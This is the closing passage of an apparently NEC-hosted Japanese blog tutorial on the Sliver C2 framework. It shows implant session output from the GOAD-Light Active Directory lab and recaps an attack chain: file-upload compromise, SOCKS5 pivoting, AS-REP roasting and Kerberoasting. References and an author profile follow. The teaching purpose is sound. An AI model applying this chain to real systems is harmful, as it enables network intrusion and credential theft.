[*] Active session SMILING_STEP-SON (0da1e441-9a2b-434d-87f1-3e89e29c1dc1)
[127.0.0.1] sliver (SMILING_STEP-SON) > info
Session ID: 0da1e441-9a2b-434d-87f1-3e89e29c1dc1
Name: SMILING_STEP-SON
Hostname: winterfell
UUID: 87424d56-a3f8-7bd3-2c15-47c6ab83bfee
Username: NORTH\jon.snow
UID: S-1-5-21-2070909237-3883694846-2238867335-1118
GID: S-1-5-21-2070909237-3883694846-2238867335-513
PID: 7412
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2:
Remote Address: 192.168.200.22:50356->CONFIDENTIAL_MISS->
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Sun Aug 23 14:59:13 EDT 2026 (2m57s ago)
Last Checkin: Sun Aug 23 15:01:13 EDT 2026 (57s ago)
ファイルアップロードの脆弱性でSRV02(castelblack)上でImplantを実行し、SOCKS5プロキシで内部ネットワークに接続しました。 その後、ASREP-RoastingとKerberoastingを使用してjon.snowユーザーとしての資格情報を得ました。 最後に、SRV02(castelblack)上のImplantを経由したピボット接続で、DC02(winterfell)上のjon.snowユーザーとしてsessionを確立しました。
6. Sliverの学習に役立つ情報
Sliverは多くの機能を備えているため、公式ドキュメント
[21]で現在の仕様を確認し、開発元が公開しているワークショップで操作の流れを学んだ後、隔離した演習環境で再現すると理解しやすいと思います。
6-1. 公式ドキュメント
まずは、公式ドキュメントのGetting Started
[3]に沿って、次の順序で基本操作を試すことを推奨します。
-
Sliver Clientを起動し、Sliver Serverへの接続を確認する
-
mTLSまたはHTTPSのC2リスナーを1つ起動する
-
Session型とBeacon型のImplantをそれぞれ生成する
-
whoami、pwd、ls、ファイル転送などの基本操作を試す
-
2つのネットワークを用意し、ポートフォワーディングとSOCKS5を試す
-
必要に応じてマルチプレイヤーモードやArmoryを試す
6-2. 公式ワークショップ
Sliverの開発元であるBishop Foxは、Sliverを題材にした公式ワークショップを録画で公開しています
[22]。
7. 最後に
今回は、オープンソースのC2フレームワークであるSliverについて概要と基本的な使い方、特徴的な機能、インストール方法を紹介しました。 また、GOAD-Lightを使用し、外部から直接到達できない内部ネットワークへアクセスする流れを紹介しました。
Sliverは2020年にv1.0.0-betaが公開されて以降、オープンソースのC2フレームワークとして広く知られるようになり、セキュリティ専門家だけでなく攻撃者の悪用事例も確認されています。以前紹介したCobalt Strike[26]は高価かつ購入に審査が必要な商用製品であるため、今回は初学者が気軽に扱うことができるC2フレームワークとしてSliverを紹介しました。
本記事がC2フレームワークの概要を理解する一助となれば幸いです。
8. 参考文献
- [1]Sliver - Adversary Emulation Framework
https://github.com/BishopFox/sliver - [2]Sliver Documentation - Architecture
https://sliver.sh/docs/?name=Architecture - [3]Sliver Documentation - Getting Started
https://sliver.sh/docs/?name=Getting%20Started - [4]Sliver Documentation - Linux Install Script
https://sliver.sh/docs/?name=Linux%20Install%20Script - [5]Sliver Documentation - HTTPS C2
https://sliver.sh/docs/?name=HTTPS%20C2 - [6]Sliver Documentation - DNS C2
https://sliver.sh/docs/?name=DNS%20C2 - [7]Sliver Documentation - Port Forwarding
https://sliver.sh/docs/?name=Port%20Forwarding - [8]Sliver Documentation - Reverse SOCKS
https://sliver.sh/docs/?name=Reverse%20SOCKS - [9]BishopFox/Sliver v1.7.3 - SOCKS5 Command Definition
https://github.com/BishopFox/sliver/blob/v1.7.3/client/command/socks/commands.go - [10]Sliver Documentation - Pivots
https://sliver.sh/docs/?name=Pivots - [11]Sliver Documentation - Multi-player Mode
https://sliver.sh/docs/?name=Multi-player%20Mode - [12]Sliver Documentation - Armory
https://sliver.sh/docs/?name=Armory - [13]BishopFox/Sliver Releases
https://github.com/BishopFox/sliver/releases - [14]Game of Active Directory - GOAD-Light
https://orange-cyberdefense.github.io/GOAD/labs/GOAD-Light/ - [15]Orange-Cyberdefense/GOAD - GOAD-Light Default.aspx
https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD-Light/files/srv02/wwwroot/Default.aspx - [16]PayloadsAllTheThings - shell.aspx
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20ASP/shell.aspx - [17]BishopFox/Sliver v1.7.3
https://github.com/BishopFox/sliver/releases/tag/v1.7.3 - [18]Orange-Cyberdefense/GOAD - GOAD-Light config.json
https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD-Light/data/config.json - [19]Fortra Impacket - GetNPUsers.py
https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py - [20]Fortra Impacket - GetUserSPNs.py
https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py - [21]Sliver Documentation
https://sliver.sh/docs/ - [22]Bishop Fox - Workshops & Training
https://bishopfox.com/resources/workshop-and-training-sessions - [23]Bishop Fox - Sliver Workshop Part 1: Getting Started & 1.6 Features
https://bishopfox.com/resources/discord-exclusive-workshop-sliver-getting-started-1-6-features - [24]Bishop Fox - Sliver Workshop Part 2: Staging & Automation
https://bishopfox.com/resources/sliver-workshop-part-2-staging-automation - [25]Bishop Fox - Sliver Workshop Part 3: Building Better Encoders
https://bishopfox.com/resources/sliver-workshop-part-3-building-better-encoders - [26]Cobalt Strikeを使ってみよう: NECセキュリティブログ | NEC
https://jpn.nec.com/cybersecurity/blog/250801/index.html
執筆者プロフィール
外山 拓(とやま たく)
担当領域:リスクハンティング
専門分野:オフェンシブセキュリティ
ペネトレーションテストやTLPTを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内外に還元している。
情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA,CISM/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP+,OSWE,OSED/IPA(ES,SC,NW)/AWS(SAP,SCS)/Azure(AZ-305,SC-100)/LinuC303/RHCSA/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。

執筆者の他の記事を読む
アクセスランキング